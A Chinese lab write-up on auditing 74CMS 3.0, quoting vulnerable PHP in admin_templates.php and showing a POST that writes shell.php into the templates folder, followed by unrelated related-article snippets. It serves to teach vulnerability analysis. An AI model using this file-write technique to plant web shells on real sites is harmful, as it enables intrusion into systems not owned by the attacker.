一、 启动环境

1.双击运行桌面phpstudy.exe软件



2.点击启动按钮,启动服务器环境

二、代码审计

1.双击启动桌面Seay源代码审计系统软件



2.因为74CMS3.0源代码编辑使用GBK编辑,所以首先需要先将编码改成GBK



3.点击新建项目按钮,弹出对画框中选择(C:\phpStudy\WWW\74cms),点击确定

漏洞分析

1.点击展开左侧admin目录,在弹出的下拉列表中双击admin_templates.php页面,右侧页面可以看到相关代码。

elseif ($act == 'do_edit')
{
check_permissions($_SESSION['admin_purview'],"tpl_edit");
$tpl_name = !empty($_POST['tpl_name']) ? trim($_POST['tpl_name']) : '';
$tpl_content = !empty($_POST['tpl_content']) ? deep_stripslashes($_POST['tpl_content']) : '';
if(empty($tpl_name)){
adminmsg('保存模板文件出错', 0);
}
$file_dir='../templates/'.$_POST['tpl_dir'].'/'.$tpl_name;
if(!$handle = @fopen($file_dir, 'wb')){
adminmsg("打开目标模版文件 $tpl_name 失败,请检查模版目录的权限",0);
}
if(fwrite($handle, $tpl_content) === false){
adminmsg('写入目标 $tpl_name 失败,请检查读写权限',0);
}
fclose($handle);
$link[0]['text'] = "继续编辑此文件";
$link[0]['href'] =$_SERVER['HTTP_REFERER'];
$link[1]['text'] = "返回模板文件列表";
$link[1]['href'] ="?act=edit&tpl_dir=".$_POST['tpl_dir'];
adminmsg('编辑模板成功',2,$link);
}

当act参数为do_edit的时候会进入模板写入流程。

2.程序首先获取模板名字tpl_name和模板内容tpl_content,然后在使用$_POST[‘tpl_dir’]拼接文件保存路径,最后文件打开文件,写入文件内容。

3.由于备份模板在后台,并没有很好的过滤传输内容,所以可以直接写入shell。

漏洞利用

1. 首先访问admin/admin_templates.php?act=do_edit,然后在POST构建文件名和文件内容。

http://192.168.91.136/74cms_Home_Setup_v3.0.0/upload/admin/admin_templates.php?act=do_edit
tpl_name=shell.php&tpl_content=<?php phpinfo();?>





成功写入

2. 访问生成的文件

http://192.168.91.136/74cms_Home_Setup_v3.0.0/upload/templates/shell.php

74CMS 3.0任意文件写入漏洞的更多相关文章

  1. 74CMS 3.0 任意文件删除漏洞

    一. 启动环境 1.双击运行桌面phpstudy.exe软件 2.点击启动按钮,启动服务器环境 二.代码审计 1.双击启动桌面Seay源代码审计系统软件 2.因为74CMS3.0源代码编辑使用GBK编 ...

  2. ActiveMQ任意文件写入漏洞(版本在5.12.X前CVE-2016-3088)

    ActiveMQ任意文件写入漏洞(版本在5.12.X前CVE-2016-3088) 查看docker的activemq版本命令:$ docker ps | grep activemq927860512 ...

  3. 致远A8任意文件写入漏洞_getshell_exp

    近期爆出致远 OA 系统的一些版本存在任意文件写入漏洞,远程攻击者在无需登录的情况下可通过向 URL /seeyon/htmlofficeservlet POST 精心构造的数据即可向目标服务器写入任 ...

  4. Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现

    Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现 一.漏洞描述 该漏洞出现在fileserver应用中,漏洞原理:ActiveMQ中的fileserver服务允许用户通 ...

  5. Aria2任意文件写入漏洞

    目录: 简介 漏洞描述 payload 漏洞复现 一.Aria2介绍 Aria2是一个命令行下运行,多协议,多来源下载工具(HTTP / HTTPS,FTP,BitTorrent,Metalink), ...

  6. 【代码审计】JTBC(CMS)_PHP_v3.0 任意文件删除漏洞分析

      0x00 环境准备 JTBC(CMS)官网:http://www.jtbc.cn 网站源码版本:JTBC_CMS_PHP(3.0) 企业版 程序源码下载:http://download.jtbc. ...

  7. ActiveMQ任意文件写入漏洞(CVE-2016-3088)

    上传webshell 容器用vulhub的 PUT一个jsp文件 MOVE到api目录 默认的ActiveMQ账号密码均为admin,首先访问http://your-ip:8161/admin/tes ...

  8. 漏洞复现-ActiveMq任意文件写入漏洞(CVE-2016-3088)

          0x00 实验环境 攻击机:Win 10 靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场) 0x01 影响版本 未禁用PUT.MOVE等高危方法的ActiveM ...

  9. metinfo 6.0 任意文件读取漏洞

    一. 启动环境 1.双击运行桌面phpstudy.exe软件 2.点击启动按钮,启动服务器环境 二.代码审计 1.双击启动桌面Seay源代码审计系统软件 2.点击新建项目按钮,弹出对画框中选择(C:\ ...

随机推荐

  1. requests库session保持持久会话

      requests中cookie的原理 http://blog.csdn.net/zhu_free/article/details/50563756   requests - cookies的实现例 ...

  2. JDBC加强

    一.使用PreparedStatement预编译语句防止SQL注入 什么是SQL注入? 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行 ...

  3. Solution -「CF 1372E」Omkar and Last Floor

    \(\mathcal{Description}\)   Link.   给定一个 \(n \times m\) 的矩阵,每行被划分为若干段,你可以钦定每段中恰好一个位置为 \(1\),其余位置为 \( ...

  4. 使用SetTrustedCredmanAccessPrivilege获取已保存的凭据

      windows系统中有一个名为SeTrustedCredmanAccessPrivilege的权限,使拥有该特权的进程可作为受信任的调用者访问凭据管理器.   凭据管理器可以从控制面板 -> ...

  5. AI 神经网络理解

    神经网络理解 原文写于2019-12-05,2021-12-08改为markdown

  6. 如何删除远端已经推送的Commit记录???(Git版本回退)

    如何删除远端已经推送的Commit记录???(Git版本回退) 简单描述 突然事件:刚刚,就在刚刚,发生误了操作. 操作描述:我把修改的文件保存错分支了,已经commit了.并且还push上去了.对, ...

  7. python进阶(25)协程

    协程的定义 协程(Coroutine),又称微线程,纤程.(协程是一种用户态的轻量级线程) 作用:在执行 A 函数的时候,可以随时中断,去执行 B 函数,然后中断B函数,继续执行 A 函数 (可以自动 ...

  8. GMP

    目录 GMP 含义 模型 状态汇总 G状态 P的状态 M的状态 调度场景 总结 GMP 含义 Goroutine的并发编程模型基于GMP模型,简要解释一下GMP的含义: G:表示goroutine,每 ...

  9. 十一讲/十二讲 最近总是学不进去,这咋办啊 哭了我i我i我i

    0: 2,9,7      错错错 帽号回来是列表 1:好像一样?   错错错  不一样,list[0]是一个值,冒号回来是个列表 2:A.insert(0,A[-1]) del A[-1]      ...

  10. RENIX报文字段跳变——网络测试仪实操

    什么是报文字段跳变? 报文字段跳变是指字段的值进行一些列有规则的变化,Renix支持对字段进行递增.递减.列表和随机变化. 如当用户想要仿真大量的源IP变化的数据时,就可以使用Modifier进行规则 ...